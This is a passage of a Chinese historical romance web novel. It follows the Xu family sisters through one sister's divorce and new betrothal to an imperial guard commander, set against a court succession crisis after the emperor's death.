“走吧,先去见了四妹妹,再去看看我爹去。” 俩人不再游园子似的慢慢走了,加快了步子赶到老太太那。 院子里比昨日安静多了,她依着规矩进了屋子,给老太太请安,正赶上老太太在念佛经,便打发了她出去。 锦棉从院子外进来,走到她跟前行礼:“少夫人,大小姐她们都在隔壁亭子里等您。” “好,那我去找她们。” 等她找到亭子里时,远远只见到四妹妹许清雾站在那,目视着西边的落日,余晖似火映在她脸上,显出难得的平静安详。 许清妙让鹊枝停步,自己走了过去。 “四妹,怎么一人站在这里,是在等我吗?” 许清雾转身看向她,目光冷清但不再无视她。 “嗯,我在等三姐过来,有话想对你说。” 许清妙知道她是有话说,笑着用轻松地口吻回道:“那你说吧,我听着呢。” “我不想跟你道歉,但我要谢谢你,三姐。” 许清妙颔首,无所谓道:“没事,我也没生气就是担心你。” 许清雾眼神复杂地看着她,“三姐,先听我说。” “我心底羡慕你、怕跟你做比较,每次见到你都想躲起来,更不想跟你说话。我承认是有怨你们,但细细想来更多的是怨自己不争气,明明一开始就知道他是那样的人,却还心存幻想,以为自己会是与众不同的那一个,可直到被撕破了幻想,也只会自怨自艾地怪家里人。” “我这样子,是不是特别叫人瞧不上?” 许清雾脸上白白瘦瘦,一双眼睛红红的,看起来特别自责悔恨,让人根本责怪不起来。 许清妙伸出双手抱了抱她,入手的身体消瘦见骨,令人心疼。 “四妹,你忘了曾经的自己是什么样吗?” 许清妙声音轻缓,眼神坚定地看着她,“秀外慧中,傲雪迎霜,这是那年梅林赏雪时大哥给你的评价,你还记得吗?” 从前,她是一只糯糯的雪团子,许清雾就是清高自持的寒梅,家里人赞赏许清雾的人更多。 只是一次婚嫁的失败,令她忘记了曾经优秀的自己。 许清雾猛地扑进她怀里,泪如雨下,一遍遍呢喃道:“三姐,对不起,对不起,我不该如此。” 这一刻,许清雾顾不得那点最后的面子,扑在许清妙肩头哭得难以自己。 晚风吹过,吹走了忧伤。 许清妙眯着眼睛拍了拍她的背,笑道:“四妹妹,咱们是姐妹对错有那么重要吗?跨过一次次困难,始终念着彼此才是要紧的,不哭了,等哥哥帮你和离了,一切都能重新开始的。” 许清雾哭够了,抬眼看她,喃喃道:“大哥也知道了?” “自然,上回他还让胡庆堂转告你回家一趟,想必那人是没告诉你吧。” 许清雾茫然摇头,她不知道原来自己的那些不幸,家里兄弟姐妹都在关注着,可她却只想将自己藏起来不见人。 许清妙拉着她手,认真问道:“那你现在能肯定地告诉我,你愿意与胡庆堂和离吗?” 许清雾缓缓点头,“愿意的,我再不要过那种枯坐整晚的日子了。” · 隔日,许三爷和许恪许琏三人去到胡家,商谈和离之事,许清雾的贴身丫鬟跟着过去收拾嫁妆。 许二爷拉不下面子,没有出面,只让许琏跟着去的。 胡家主院,许三爷拿出许清雾签好字的和离书,三言两语直陈厉害,坚决要求和离。 像被打了无数耳光,大理寺少卿胡汇中忍着满腔怒火同意了和离之事,嫁妆田产铺子一应让许清雾带了回去。 和离书签下,两家再无姻亲之谊。 许家人走后,胡庆堂不服气地辩解道:“她许三娘善妒容不得人,离了我看谁还要她。” 胡汇中气得一个巴掌扇了过去,咬牙悔恨道:“孽障,全被你娘惯坏了,许家下一代有许恪许琏,我们胡家有什么?有你这个吃喝嫖赌的纨绔?你还嫌弃许家女儿,人家嫌弃你才要跟你和离的,你醒醒吧!” 胡家大夫人脸上青一阵白一阵,再多辩解之词也无从出口。 胡庆堂低着头唯唯诺诺,不敢吭声了。 胡汇中厉声道:“将他给我关进祠堂,一个月不反省清楚不得出来,一日一餐不得有荤腥,谁要是敢偷偷帮他,别怪我翻脸无情。” 这话就是说给胡夫人听的,众人无敢不从。 第34章 第34章 许清雾和离后,许家后院渐渐热闹起来,姐妹俩今儿制冰饮子,明儿池边玩水,许清妙的日子似乎一下子又回到了十五岁那年。 懵懂而快乐。 墙角外的青梅开始慢慢变红,酸酸甜甜的味道夹杂在夏日的暖风中,不知几时,许家四娘子和离的消息传到了各家夫人耳中。 有心人的心思又活络了起来。 起初,有往来相熟的女客不经意间透露出对许清雾的喜欢,没隔多久,就有人托了媒人上门探口风。 许清雾并没有短时间内再嫁人的打算,一时间愁得又躲回了屋中不愿出门。 这些日子,找上门来求娶的男方,大部分都是些死了原配夫人的鳏夫,要么孩子成群年纪一大把,要么妾室通房一大堆,着实没有一个拿得出手的。 这日,许清雾从前院回来,闷闷不乐地坐在廊下发呆,身旁小丫头劝她:“小姐,您要不去找翰林帮忙?翰林和少夫人会有办法帮你的。” 许清雾摇头,拒绝道:“这种事情怎么好让哥哥出面。” 话落,正好赶上许清妙带着鹊枝从月门进来,听了个清楚。 “四妹妹,有何事不能找哥哥出面呢?” 她今日穿了一件红色襦裙,像一朵娇艳欲滴的牡丹,白皙的手臂透过轻薄的纱变得若隐若现。 许清雾一时看得出神,喃喃道:“三姐,你现在看着像一朵盛开的红牡丹,这就是夫人们常说的夫妻琴瑟和鸣下的样子吗?” 许清妙听了她这呆愣愣又直白的话,耳根发热,都是出嫁过的女子,她们说的自然是房里夫妻恩爱之事。 “做什么拿我说事呢?不许打岔,先告诉我到底什么事呢?” 许清雾支支吾吾不愿说明白,看得一旁的小丫头干着急。 许清妙知她本性矜持,有些话轻易说不出口,便转头看向许清雾身边的丫头,浅笑问道:“那你来帮你主子说吧,到底何事?” 小丫头瞄了眼低着头不吭声的许清雾,暗暗咬了咬唇将今日媒婆上门,二夫人将小姐叫去详谈之事说了个一清二楚。 原来,今日禁军统领萧云牧的母亲派了媒婆来提亲,想给儿子求娶许清雾做正妻。 这萧牧云年近三十,无儿无女也无妾室通房,成日里在营房里厮混,本身根本不愿意娶亲,听说前些年定过两门亲事,结果没到嫁娶之日,定亲的女郎就因生病或意外身故了。 京里渐渐传出他命硬克妻的谣言,世家豪族的女郎不是没有看上他的,但谁敢拿自己的命去跟他硬碰硬呢?结果便是没有人家乐意将女儿许给他了,他也因此拖到这般年纪也没成亲。 许清妙听完,不由感叹:“这人听起来还行呀,除了年纪大了点,总得来说应该是个不贪女色之人,只是不知他的性情如何。” 许清雾叹气,拉过许清妙的手,担忧道:“我是二婚女,本不该太挑人,可他位高权重的多年来还孤身一人,我估摸着他会不会是身上有什么隐疾呢?” 提起隐疾,许清妙顿时些许不自然,眼睛瞟了瞟四周,低声道:“确实该担心这事,萧家能派人来说和,他自然是不介意你二嫁的身份,四妹妹不需忧心这个,反倒是萧云牧这人,咱们得好好打听下。” 微顿了顿,她接着道:“等哥哥回来我问问他,让他想办法去会会那萧云牧,你看如何?” 许清雾颔首,轻声说:“那自然是求之不得了,只是这事会不会让大哥为难呢?” 许清妙轻笑:“这有何难的呀,如今哥哥在御前供职,定然是见过萧统领的,左右哥哥肯定有法子跟他套上近乎的。” 许清妙拍着胸脯向许清雾保证,肯定能说动许恪,去帮打探萧云牧的情况,只是当夜她左等右等也不见许恪回来。 直到熄灯时分,他的侍从随安才匆匆回府报信。 “少夫人,翰林今儿被皇上留宿了,特派奴才回来给您报个信。” 许清妙隔着屏风听到随安说话,气息平稳,心中略定。 只是不禁疑惑道:“宫中按规矩不留外臣,皇上为何要留宿翰林呢?” 随安如实道:“奴才也不清楚,今日翰林进宫前嘱咐奴才,说如果他没按时出来也不要惊慌,守在原地等通知就成。” 往常,随安作为贴身随从,主子入宫当值时他会候在宫门外,最晚会在戍正时刻接到主子。 今儿过了亥时也不见主子人影,他就急了。但因主子交代过,才一直忍耐着候在宫门前没有回家禀报,等了好长时辰,果真有穿着青袍的内侍来给他报信,粉白的脸笑着说是皇帝留了翰林过夜。 许清妙听完不由皱眉,莫非哥哥早就知道今日可能无法归家? · 一轮满月如硕大的银盘悬在夜空,四周漆黑,无云亦无星。 银辉洒向寂静的太极殿,宫殿巍峨,殿前白玉廊下,近百数御前军士值守护卫。 御前军是由禁军中筛选出的精兵组成,每一个佩刀披甲威风凛凛。 站在最靠近殿门前的正是禁军统领萧云牧,一张刚毅凶狠的脸在月色下显得鬼气森森。 太极殿分前后殿,前殿灯火通明,寂静无声。身穿绛紫襕袍、头戴展脚幞头的两个中年人正分立两侧于殿中,左边气质清华的正是当朝宰相韩烈,右边则是副相严万良,此时一脸阴郁喜怒难辨。 俩人俱是沉默无语,静静听着内殿传来的声响。 内殿中宫幔垂地,一道呼吸不顺的咳嗽声从龙腾四海的金玉屏风后传出,内侍总管捧着痰盂伺候一番,转头便瞧见翰林学士许恪立在屏风旁,不动声色地等待着皇帝的问询。 许恪对眼下的形势早有预料,皇帝病重,以皇长子宋胥为首的争权派势力必然蠢蠢欲动。况且皇长子在民间素有威望,在朝堂上又有左相严万良的倾囊相助,皇帝如果不能顺利立下传位诏书,朝局必然动乱。 如今这般情势下,皇帝却连夜留了他在内殿,应当是随时可能命他起草遗诏了。 大雍朝的内诏皆由皇帝陈述翰林学士拟诏起草,即便是内阁相府也不得僭越过问。 许恪能理解皇帝的意图,许家始终中立,不偏不倚,只要不是倒向皇长子,那奉帝命拥护小太子即位便是他们许家最好的出路。 “许翰林,陛下让您上前听旨。” 许恪不动声色地上前,躬身立在皇帝榻前:“臣许恪拜见陛下。” 皇帝抬了抬手,勉强说道:“起身吧,走近点,朕有话与你说。” 许恪不卑不亢往前两步立在皇帝身前:“请陛下吩咐。” 皇帝沉吟半响,缓缓道:“朕戎马半生,文治武功不亏于天地,无愧于祖宗社稷,如今久病不愈恐是大限将至。太子年幼资质愚钝,势必担不起这副沉重的担子,但胜在仁义守礼,若辅以能臣相佐也能实现治下长治久安。一旦改立皇长子,只怕往后民不聊生,胥儿他虽有才却好大喜功将来必然穷兵黩武再战边境,实非守成之君。” 皇帝睿智而浑浊的眼神望向许恪,“许卿可懂朕的意思?” 许恪一脸惶恐,言之谆谆:“臣唯陛下之命是从,深受皇恩,臣愿为陛下肝胆涂地、鞠躬尽瘁。” 许恪知道皇帝是在等他表态,这一步不能出错,皇帝说出了这番话,就容不得他再躲藏,如果这一刻他得不到皇帝的信任,那他必将活不到出宫了。 “如此,朕也算宽心些,太子心思纯善,忠奸难辨,你身为帝师要尽责教导,政事上更要全心辅佐,不得有不轨之心。” 许恪安静听着,知道皇帝崩后,他必然要以太师之位辅佐新君。 “臣定当不辱使命,忠君报国。” 皇帝颔首,扬声道:“让韩烈和严万良进来。” 内侍总管方检躬身领命,小碎步快速出了内殿去通传。 内殿只剩下许恪与皇帝俩人。 皇帝突然严肃道:“许恪,党争祸国,该助太子肃清朝野时不可手软,可知晓?” 许恪抬眼看向病得脸色发黑的帝王,低身跪下:“臣定当牢记。” 殿外传来脚步声,皇帝抬了抬手:“起来吧,准备拟旨。” 大雍朝律例规定,皇帝遗诏须由臣子、亲王共同见证下完成,如有必要皇帝会亲自书写。 内殿侧门也缓缓打开,八岁的小太子从门内走出来,眼底有慌乱,脸上表情总的还算镇定。 “父皇,您好些了吗?” 小太子没有理会从殿门踏入的内阁两相,只趴在皇帝身前担忧地问候。 许恪看在眼里,没有阻拦。 韩烈、严万良弯腰请安,皇帝只抬了抬手,示意他们起身。 “奕儿先站好,不得出声。” 皇帝让太子站在一旁,再次说道:“许恪准备草拟诏书。” 严万良猛地抬头,环顾左右却不得不忍住出声,门外有禁军把守,殿内全是皇帝心腹,他说什么都不会有人听,更可能惹怒皇帝丢了性命。 直到皇帝断断续续将整个传位诏书说完,严万良也没发出一点声响。 “陛下请过目。” 许恪将拟好的诏书呈上,皇帝颤抖着手拿起,仔细检阅。 “可以,就用这份,拿玉玺过来。” 至此传位诏书尘埃落定,很快抄写传发下去,不出意外晨曦升起时,所有人都会知道名正言顺的大统继承人是小太子。 许恪也终于在宫门开启的第一时间回了府,裹着满身沉重与冷冽进了屋。 拔步床内,许清妙正抱着他的绣枕睡得酣甜。 他缓缓俯身,亲在了她的额角。 第35章 第35章 晨光微弱,许家前院大书房里点了四盏油灯,照亮昏暗中的许家郎君。 许老爷子坐在主位书桌前,右侧的两把半圆椅子上坐着许坚、许晃兄弟。 许恪站立在书桌前,面容平静,声音沉稳:“陛下大限已至,昨儿夜里已下了遗诏,但大皇子始终没有露面,府邸一片平静。” 老爷子端着茶碗的手一顿,声音迟疑道:“*大皇子争夺太子之位多年,如今陛下病重传下遗诏,他怎会一点动静都没有?” “事出反常必有妖,恐怕并不是表面上这般平静。” 许恪颔首道:“嗯,刚刚传来消息,今儿平旦时分京畿武库遭到了猛烈攻击。” 大雍朝安定了近二十年,武库虽有重兵把守,但积年累月的安定,内部无可避免地松懈,自然让人有可乘之机,大皇子能不声不响地一举攻击武库,其野心和眼光都属上乘。 这样的人为将为帅都是国之栋梁,可偏偏生在了皇家,有本钱有势力去逐鹿至高无上的皇位。 “看来大皇子要反啊!”许坚低声叹道。 自有史记载以来,起兵谋反首要第一步便是占领京畿武器库,占住了武器谋反就成功了一半。 许恪看了眼父亲,应道:“是的,武库虽没被全占,但丢失超半数的武器,损失惨重,消息如今是否传到陛下那里还未知,韩相虽守住了内阁,但内庭总管方检是大皇子的人,稍有不慎便有可能截断圣令。” “那恪儿不该此时回家。” 许恪解释道:“情况虽然凶险,但我必须回来一趟,既是与家里通气,也是为了安定百官。昨日夜里陛下已经让我表态,日后必将全心全意教导太子辅佐新君。” 老爷子颔首表态:“理应如此,我们家既然做了纯臣,那自然得遵圣令辅佐名正言顺的天子。” 几人皆以为然。 许恪转身看向许晃,恭敬作揖道:“二叔,有一事还得请您出面。” 许晃连忙站起身,直言道:“大郎无须多礼,有什么是二叔能做的你尽管说,二叔定然竭尽所能。” “那侄儿就长话短说了,还请二叔派人去回复萧家大夫人,同意四妹与萧统领的婚事。” 许晃茫然不解道:“这是为何?” 许恪深知二叔的脾性,多年在外为官,为人刚正不阿,重礼守信,这也是为何当年清妙退了胡家亲事,二叔还是提议让四妹去替嫁的原因。 太平之时不同于乱世,大皇子想谋反最重要的是控制京师武库,从源头上断了禁军的武器,第二便是截断政令,进而阻断政令中枢下达各部,最后必然是控制军队,而京城能调动的军队除了城外守军便是城内的禁军。 城外守军没有天子令是进不来京城的,只有禁军可以直达宫廷,大皇子无论如何都会想办法控住禁军。 那么萧云牧这位禁军统领就至关重要。 许恪深思熟虑,慎重开口:“二叔,于私昨日四妹拖了清妙来问我萧云牧的为人,想必四妹是有意这门婚事的,而以我对萧云牧的了解,此人可为四妹良配,有主见又有能力护得了四妹周全。” “于公,如今正是拉拢禁军的关键时候,许家与萧家结亲百利无一害。” 他不由想起今早从院子出来时,许清妙请他帮忙打探萧云牧时所说的话:“女子嫁人,求的不是门第多高官有多大,只求夫君能洁身自好善待正妻。那萧云牧多年来孤身一人,无儿无女无妻无妾,四妹妹心里是愿意的,但也实在担心他的品性德行,还望哥哥帮四妹妹打探一番,如果真是良人,四妹妹是愿意嫁与他的。” 许恪不由失笑,他对萧云牧还真是有所了解,只因太子最惧怕的便是这位禁军统领。关于萧云牧的事情太子周围的人都打探的一清二楚。当然,本意是为了将萧云牧作为普通人的生活轨迹展示出来,以证明他并不吓人来安抚太子,结果收效甚微小太子还是见了他就躲。 如若四妹嫁给了萧云牧,那确实是利于许家也利于太子的好事,只是女子嫁人之事也马虎不得。 所以,在来书房之前,他还去了一趟四妹的院子,亲自向她讲了萧云牧的情况,并问清楚了她的意思。 许清雾欣然同意了这门亲事,许恪才有了这番两全其美的谋划。 这厢,许晃一听缘由,二话不说就应下了:“我立马派人去回话,定然定下这门亲事。” 待到话都说完,也不过辰时三刻,但也来不及再用早膳了,他还得尽快进宫守在太子跟前。 许恪辞别祖父众人,带着随安从院子里跨了出来,刚抬头便瞧见守在路边的许清妙。 青绿色的夏衫穿她在身上,像夏日里一抹清新绿意,令人心旷神怡。 圆圆的眼睛欣喜地看着他,提了提手里的食盒,欢快道:“哥哥,我给你带了早膳。” 许恪看了眼天色,笑着走近:“怎么守在这里不进院子呢?” 许清妙将食盒给了随安,拉着他继续走:“哥哥,我知道你在忙大事,不进去打搅你。” 许恪伸手摸了摸她的鬓角,如果不是身边跟着人,他都想停下来抱一抱她。 太会心疼人了。 “这几天待在家里不要出门,等事情都平息了,我就回来了。” 许清妙乖乖点头:“嗯,知道的,我陪四妹妹看书。” 俩人停在影壁处,没法再多作停留,许恪拉过她的手紧握住,瞬息间便松开转身上马。 红袍官服被风吹的咧咧作响,他目光如炬转头凝视她数秒,一切尽在不言中。 挥鞭打马奔驰而去。 目送着哥哥走远,她只愿他此去一切顺利。 街上热闹如常,谁也不知道暗处的政变汹涌澎湃。 许清妙带着鹊枝若有所失地往回走,刚转身,身后便传来熟悉的呼喊声:“妙妙,等等爹。” 许清妙不由回头看去,只见风度翩翩的许三爷正满脸笑容地向她走来。 “爹,您怎么一大早从外面回来啊?” 许清妙也露了笑,亲热地迎上去,故作无知地问他。 没想到许驰坦荡地解释道:“自然是从你沈姨娘那回来了。” 在许驰心里,沈氏虽没有名分比不得官家女子,但她性子温柔体贴,给了他充足的敬畏仰慕,他自然更喜欢与她待在一处。 许清妙听罢不由皱眉,她原以为爹爹是喜新厌旧才收了香云,没想到他还挺恋旧的,多年来对沈姨娘喜爱有加。 那他前些日子为何要收了香云? 王氏从前教她们,男子好色喜新厌旧是天性,唯有利害得失才会令他们有所收敛。 许清妙不知道王氏是怎样得出这样结论的,但不妨她拿这话来与她爹比较。 “爹爹,女儿问你一事,您别怪女儿多嘴成吗?” 她实在想不明白,便打算直白的问他。 许驰笑眯眯地看着她,“妙妙随便问,爹知无不言。” 夏日的清晨,阳光不晒,风却很大,吹得树枝乱晃,父女俩带着婢女仆从走在院子里,从远处看去有说有笑。 只是当清妙立定,疑惑地问出:“爹爹为何要收香云作通房呢?” 作为女儿,她是不能过问父亲的房中事,作为侄媳妇那更是得与养父保持距离。 但清妙还是问了,实在觉得有些蹊跷,不符合父亲在她心中的形象了。 几分尴尬和不自然挂在许驰的脸上,他年近四十保养得当,这副模样活像是回到了十几年前刚入官场时被人捉弄过的样子。 几息过后,许驰便恢复了常态,心道自己做了就不怕女儿来问。 他再次坦坦荡荡地说道:“爹瞧着她酒宴后一双眼睛老盯着大郎,她那点心思谁看不到,不就是想给大郎暖床吗?我怕她真搭上了大郎给你添堵便提醒了她,没想到她顺着棍子就往上爬,扭扭捏捏地扶着我回了房。” 说到这里,他似乎有些不好意思了,清了清嗓子道:“那我看她识趣,长得又美艳,便没为难她。只是她上来就想当良妾,那是万万不行的,我知道她是贱籍入的府,自然是当通房最合适。” 许清妙瞪圆了眼睛,没想到这事还跟她有关系,贱籍女子本就活得艰辛,香云长得美艳有王氏看着才没被人糟蹋了,却没想到她自己甘愿给许驰当通房丫头。 许驰安慰道:“妙妙别怪爹多事,这丫头长这样要是嫁到了外头怕是不得安生,她自己也是看透了这点才会狠下心跟了我,哎,这说得好似我很不堪似的。” 许驰做作地捶了捶胸口:“妙妙别在意这事,左右跟你没关系。” 许清妙没法当作没关系,虽然她不愿意香云来抢哥哥,但听了父亲的话还是觉得难受。 贱籍女子人人可欺,就因为长得太艳被人觊觎,身如浮萍命似蜉蝣,连给父亲当通房都成了她最后的选择。 她不得不想到自己的身世,她的亲生父亲母亲又会是谁呢? 第36章 第36章 大暑这日,天气格外的闷热,似是一场夏日的暴风雨正在酝酿。 许清妙穿着轻薄的纱衣烦闷地倚在廊下,望着庭院里那株粉紫色的蔷薇,只见花朵儿也厌厌地垂着,无精打采。 鹊枝拿了蒲扇为她扇风解暑,宽慰她:“少夫人,厨房里炖了百合绿豆羹,您可要用些?这清凉之物最是解暑。” 许清妙摇了摇头:“不想吃,没胃口。” 自许恪三日前进宫,她的心里总觉着不踏实,至今一点消息也没传回来。京城里却突然流传皇长子乃是先皇后嫡子的传闻,一夜之间关于废幼立长的言论便甚嚣尘上。 而宫中始终没有传出任何的消息,皇帝病重已经罢朝数日,文武百官虽照常去衙门点卯,却难免人心浮动。 这三日,许府大门紧闭既没有上门来往的客人,连萧家来下定也没有办得太张扬。 “鹊枝,待会你去四小姐屋里一趟,问问她可有需要我帮忙的?” 许清雾自从应下与萧家亲事后,便躲在屋里忙着绣嫁衣。 这么闷热的天,也亏得她有这份毅力待在屋里,许清妙话落又改了口:“算了,还是我自己去一趟,正好透透气。” 主仆俩人收拾妥当,沿着游廊往二房院子而去。 许清雾回家后,住回了她未出嫁时住的屋子,二房院里的西厢房。 许清妙踏进许清雾屋里时,不出所料地见着她正带着丫头低头做绣品,红色的绣帕紧紧绷在箍子上,素白的手指捏着细细的绣针勾线刺针,熟练轻巧,一朵并蹄莲已经初见形状。 “四妹,你不闷吗?” 许清妙白皙红润的脸上浮起薄汗,挑了一处窗边的靠椅坐下。 “今儿是有些热,但我这手里忙着事情,便觉不出闷了。三姐怕是想大哥了吧,大哥走了好几日了,你肯定一人待在屋里没意思。” 这种等一个人回来的滋味不好受,许清雾最清楚。 许清妙瞥了眼调侃她的四妹妹,叹气道:“我是担心哥哥的安危,这宫中的形势危若累卵,你说万一连累了哥哥可如何是好?” 她从前哪里知道这种牵挂一个人的滋味呢? 吃饭睡觉时想着他会不会饿着累着,久没消息想着他是否顺利,而外面稍有动静她又噤若寒蝉胡思乱想。 许清雾停下手里的绣针,也露出担忧的神色,“那三姐可要想法子派人去打探下?” 许清妙摇了摇头,拒绝道:“不成,哥哥奉诏随侍圣驾,我们去派人打探不妥,还是等着他忙完派人回来传话吧。” “那三姐也放宽心,我们家虽不是权宦世家,但祖父桃李遍天下,谁当了皇帝也不会轻易动我们的。” 许清妙也不想继续唉声叹气,顺着许清雾的话自我安慰道:“嗯,哥哥肯定会平安回来的。” 俩姐妹话题也说开了,一时又转到了那位没见过的萧统领身上了。 “四妹,这回的亲事,你可真心满意了?”许清妙不觉问道。 许清雾腼腆地颔首,“自然是知足的,萧家公子未娶过,我却是嫁过人的,他都不嫌弃我,我当然不会再挑拣他。而且听说大哥说,他那人三米之外都没有女子敢靠近,我想象不出那画面,又担心会不会长得太寒碜。” “后来大哥又说,你见了就知道了,男人长那样是少有的俊了,但又不能用俊来形容他。” 说到这些,许清雾眼底含着浅笑:“等我见到他才能知道他长什么样呀,还挺期待的。” 许清妙听着四妹说起这些,恍然想起,她当初嫁给长兄时是什么样的心情呢? 她现在想想当初的自己是多么的有勇气,嫁给即便没有任何血缘的堂兄,那也是踏破藩篱违背礼法的逆天之举。 除了学识才情、容貌风姿,她还了解自己这位长兄剑胆琴心、琨玉秋霜的品性,他一直是她择夫的标杆。 能有机会嫁给他,她只需克服内心对世俗的畏惧,但绝不会拒绝这个诱惑。 或者说,在知道长兄没有血缘后,嫁给长兄或许就不是一次意外,而是一种必然。 喜欢一个人是从细节出发,而爱一个人是从身体开始,就像她一无所知地醒来后,对哥哥的靠近是欣喜和渴望。 而这一次的分开,对他们来说是真正意义上的第一次分别,即便只有短短几日。 可她确实想他了。 想通这些,烦闷的夏日午后变得清静自然。 许清妙坐到许清雾身旁,接过她的绣线帮着理顺,身后鹊枝诧异她心情突然就好转。 笑着打趣:“少夫人可要尝尝绿豆羹?奴婢回去拿?” 许清雾嗔道:“我这里难道一碗绿豆羹都没?喜云,你去给少夫人端来。” 许清妙含笑不语,任她们逗弄。 不想喜云刚走到院里,便迎来了披金带甲的许琏。 “三公子万福。” 屋里的人皆听见了喜云的声音,许清妙不由看向许清雾,眼底透出疑惑,这个时间三哥怎么会出现在后院。 转瞬,许琏的身影出现在了珠帘外,爽朗的声音传来:“三妹,四妹,快出来。” 许清妙将手里东西放下,拉着许清雾往外走,丫头刚卷起珠帘,便瞧清楚了他那一身魁梧的盔甲。 全副武装的战备姿态,不该出现在家里呀。 许清妙还未开口,许清雾已经连忙问道:“三哥,你怎么这副模样出现在家里呀?可是出什么事了?” 许琏露轻松宽慰道:“妹妹们莫担心,我是奉命而来。” 许清妙疑惑接话:“奉何人之命呢?” “自然是奉禁军统领萧大人之命了,萧统领命我带了三千禁军守住许府护卫家里安全。” 许清妙侧头看向许清雾,两人皆是惊讶。 许清妙不知道清雾是何感想,她一听便觉出了事端来。 颤声问道:“可是宫里出事了?” 许琏颔首:“圣上昨儿夜里驾崩了,大皇子试图秘不发丧,被长兄识破了,此时宫里正乱着呢,萧统领特命我回来保护家眷,等国丧的钟声敲响就能昭告天下。” 许清妙握着许清雾的手抓紧,“这么大的事情,大皇子怎么敢瞒住的?” 许琏摇头,叹气道:“这我就不清楚了,听说皇上身边的内侍总管是大皇子的人。” “你们也别怕,我刚才已经去见过祖父了,今儿各部都照常当值,还没有惊动众人,等会还得派人去衙门接父亲他们。” 许清雾连忙催道:“那你快去呀,不用跟我们解释这些呀。” 许琏故作叹气道:“哎,我都说了我是奉命而来,自然是有事找你们了。” “喏,给你的。”他从胸口掏出一只素色的锦囊塞进许清雾手中。 “萧统领让我顺便带给你的,他说下定那日他没能亲至,这定亲信物却还是得给的,你收好了,然后拿样你的给他。” 许清妙暗道,这萧云牧也太过着急了吧,正忙着宫中政变大事还有空儿女情长呢。 许清雾拿着那绣袋正愣神,许琏又解释道:“萧统领说了,国丧一年内你们都没法完婚,必须得给你颗定心丸,当然你也要给他,才是礼尚往来。” 许清妙默默看着:“” “四妹妹,你别发呆啊,赶紧把你的贴身之物包好给我呀。” 许清雾瞬时羞红了脸,结巴道:“那你等我一下,我去里间取下。” 许清雾进了里间卧房,许琏把视线投向许清妙。 许清妙心有所感:“还有话对我说的?” 许琏颔首:“大哥让我转告你,按时吃药好好睡觉,等他回来给你惊喜。” 许清妙心底甜滋滋,面上还得装作平静:“嗯,我知道了。” “丧钟还没敲呢,三妹妹想笑就笑吧,忍得都快成朵喇叭花了。” 许清妙鼓了鼓脸,转移话题:“萧统领早前见过四妹?” 许琏茫然道:“那我不清楚,萧统领今年都三十了,四妹才十八,俩人应该没机会见吧。” 许清妙暗道,这三哥哥是真的一问三不知啊。 正好,许清雾从里间拿着一个粉色的小荷包出来,惯常清冷的脸上泛着粉红,一双凤眼却明亮,“还请哥哥帮我递给他,就说我不着急。” 许琏也不问其他,接过荷包应下话,“放心,哥哥明儿回营里就给他。” “那你们自己玩,我先走了。娘她们问起来就如实讲就成,但别往外传。” 许琏交代完就转身大步往外走了。 许清妙和许清雾相视一笑,转身回了屋里继续绣花。 “四妹,你与萧统领是不是见过呀?他对你挺上心的。” 许清妙总觉得四妹妹这婚事来得太凑巧了,哥哥那日也说巧了。 许清雾茫然道:“我与你同岁,你成亲后没两个月我也出嫁了,应该是没有见过他吧。后来,跟着胡家大夫人去各府走动时也没去过萧家。” 许清妙一时怀疑是自己多想了,便打趣道:“那可能是姐姐我多心了,估计他就是大龄未婚急着成亲了,怕你等不及嫁给别人了。” 许清雾嗔道:“三姐,我都定给他家了还能跑不成?不说我与他有多少情意,就这大雍朝所有的夫妻也没几对是婚前情投意合的,当然你跟大哥肯定除外。” “这话怎么说?”许清妙故作不经意地问道。 许清雾捂嘴笑道:“哥哥怕是早就钟情于你了。” 第37章 第37章 许清妙扬眉,自信满满地否认:“那不可能,依哥哥的性子,在不知道我身世前不可能对我有其他想法。” 她与哥哥应该是在成亲后,才从兄妹之情变成真正意义上的男女之爱。 肯定是这样,准没错! 许清雾也不与她辩解,只轻笑着:“三姐还是自个回味回味大哥那首催妆诗吧,全京城都知道大哥的心意呢。” 又是催妆诗。 许清妙心底不得不升起巨大的好奇。 回京这些日子一直忙着各种事,倒将找这首催妆诗的事给忘得一干二净。 这会想起来心底像被猫抓了一样,痒痒的,恨不得立马逼问四妹妹这诗到底写了什么。 可理智告诉她,不能表现得太奇怪了,等回去院里就将那诗给找出来。 许清妙半响沉默不语,倒显得她真在回味似的。 许清雾撇眼笑她,许清妙看到了,也只能装作没看到,谁让她现在对三年前的事不清不楚呢! “四妹妹不用羡慕我,喏!刚刚萧统领给你的定亲信物可看了?” 许清妙圆圆的眼睛微瞪,鼓起的脸颊表明她的气闷,大家都知道哥哥为她写的诗,却只有她不知道,好气哦! 许清雾捂嘴低笑,捏了捏许清妙的小脸:“三姐,你这幅模样就该给我当妹妹,偏生你还争气早生了那么一个月,真是老天爷不公平。” 许清妙抓着她的手不放,气哼道:“四妹,早生一个月也是本事就得当姐姐,你别想借机转移话题,快说说给你什么定亲信物了?” 身旁伺候刺绣的丫头都看过来,扑闪的眼睛里闪着好奇的光。谁都想知道那被京中贵女挑剔惧怕的萧云牧会送什么东西给未婚妻。 许清雾见屋里亲近之人都好奇,也不扭捏,大大方方地开口:“就一块常见的玉,看起来是常放身旁的,白玉温润很有光泽。” 她没说的是,那玉一看就是成对的龙凤和鸣玉,给她的是雕刻着凤凰的凤玉,而龙玉想必就在萧云牧身上。 “没想到禁军统领倒很文雅,投我以木桃,报之以琼瑶,四妹妹给他的莫不是你那只寿桃坠子?” 许清妙拉着许清雾的手,亮晶晶的眼睛看着她。 家里老太太信佛,在她们还小的时候就每人送了一件开过光的金器,用来辟邪保佑她们能长大成人。 许清妙的是只小木鱼,用红线串着挂在手腕上,而许清雾的则是个寿桃坠子,小小的只有拇指大小,幼时常常挂在脖子上。 果然,许清雾矜持地颔首,“投桃报李,他真心待我,我自然全心对他,总不能辜负了。” 许清妙深以为然,夫妻之间还是你来我往的比较好。 不知何时,外面天黑得更厉害,豆大的雨滴砸在干燥的地面上,渐起尘埃。 喜云打着伞拎着冰镇的绿豆汤迟迟而来,嘴里告罪道:“奴婢来晚了,让少夫人和四小姐久等了。今儿前院太忙,大总管去帮忙了,奴婢等了好一会才拿到冰。” 夏日用的冰,那都是冬日里藏在冰室的,自然珍贵,一贯都是府邸大总管管着冰室钥匙。 每个院子里用冰也都是有定数,用完了才能去取。 许清雾自然知道这些规矩,并不怪罪喜云,只道:“无妨,端上来吧。” 丫头们将桌上摆开的绣品收进篓子里,垫上素色的餐布才用白瓷碗盛了两碗绿豆羹端在她们面前。 许清妙用手碰了碰,那羹应该还是温的,虽说用冰镇了,但左不过天气炎热。 “三姐,听说你在服药?” 许清妙颔首。 